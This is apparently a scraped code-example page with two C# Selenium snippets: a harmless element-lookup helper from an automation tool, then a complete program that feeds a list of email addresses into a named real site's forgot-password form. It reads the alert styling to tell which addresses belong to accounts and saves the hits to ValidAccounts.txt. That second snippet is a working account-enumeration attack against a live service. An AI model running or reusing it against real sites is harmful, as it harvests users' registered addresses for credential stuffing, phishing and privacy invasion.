private object FindElement(OpenQA.Selenium.Chrome.ChromeDriver seleniumInstance, string searchParameter)
        {
            object element = null;

            switch (v_SeleniumSearchType)
            {
            case "Find Element By XPath":
                element = seleniumInstance.FindElementByXPath(searchParameter);
                break;

            case "Find Element By ID":
                element = seleniumInstance.FindElementById(searchParameter);
                break;

            case "Find Element By Name":
                element = seleniumInstance.FindElementByName(searchParameter);
                break;

            case "Find Element By Tag Name":
                element = seleniumInstance.FindElementByTagName(searchParameter);
                break;

            case "Find Element By Class Name":
                element = seleniumInstance.FindElementByClassName(searchParameter);
                break;

            case "Find Element By CSS Selector":
                element = seleniumInstance.FindElementByCssSelector(searchParameter);
                break;

            case "Find Elements By XPath":
                element = seleniumInstance.FindElementsByXPath(searchParameter).ToList();
                break;

            case "Find Elements By ID":
                element = seleniumInstance.FindElementsById(searchParameter).ToList();
                break;

            case "Find Elements By Name":
                element = seleniumInstance.FindElementsByName(searchParameter).ToList();
                break;

            case "Find Elements By Tag Name":
                element = seleniumInstance.FindElementsByTagName(searchParameter).ToList();
                break;

            case "Find Elements By Class Name":
                element = seleniumInstance.FindElementsByClassName(searchParameter).ToList();
                break;

            case "Find Elements By CSS Selector":
                element = seleniumInstance.FindElementsByCssSelector(searchParameter).ToList();
                break;

            default:
                throw new Exception("Search Type was not found");
            }

            return(element);
        }
Ejemplo n.º 2
0
        static void Main(string[] args)
        {
            var dictionaryFile = args.Length> 0 ? args[0] ?? "TestDictionary.json" : "TestDictionary.json";
            var dict = new List<string>();
            var validAddresses = new List<string>();
            bool goodFile = false;

            try
            {
                dict = JsonConvert.DeserializeObject<List<string>>(File.ReadAllText(dictionaryFile));
                goodFile = true;
            }
            catch (FileNotFoundException)
            {
                Console.WriteLine("File doesn't exist.");

            }
            catch(Exception)
            {
                Console.WriteLine("File may be malformed, use JSON format.");
            }

            if (!goodFile) return;

            using (var drv = new OpenQA.Selenium.Chrome.ChromeDriver())
            {
                drv.Url = "https://flubit.com/sign-in/forgot-password/";

                foreach (var item in dict)
                {
                    //page forces refresh, so we need to re-grab references.
                    var emailTextBox = drv.FindElementByCssSelector("input[name=\"email\"]");
                    var submitButton = drv.FindElementByCssSelector("#btn_signin");

                    emailTextBox.Clear();
                    emailTextBox.SendKeys(item);

                    submitButton.Click();
                    Thread.Sleep(3000);

                    var alertBox = drv.FindElementByCssSelector(".alert");
                    var cssClasses = alertBox.GetAttribute("class").Split(' ');
                    var isAttachedToAccount = cssClasses.Contains("alert-success");

                    Console.WriteLine("Email: {0} | Attached to an account?: {1} ", item, isAttachedToAccount ? "Yes" : "No");
                    if (isAttachedToAccount) validAddresses.Add(item);
                }

                using(var fs = new FileStream("ValidAccounts.txt", FileMode.OpenOrCreate))
                {
                    var addressText = validAddresses.Aggregate(new StringBuilder(), (sb, text) => sb.Append(text).Append(Environment.NewLine)).ToString();
                    var textBytes = Encoding.UTF8.GetBytes(addressText);

                    fs.Write(textBytes, 0, textBytes.Length);
                    Console.WriteLine("Written out {0} valid account(s) to {1}", validAddresses.Count, fs.Name);
                }

            }

            Console.Read();
        }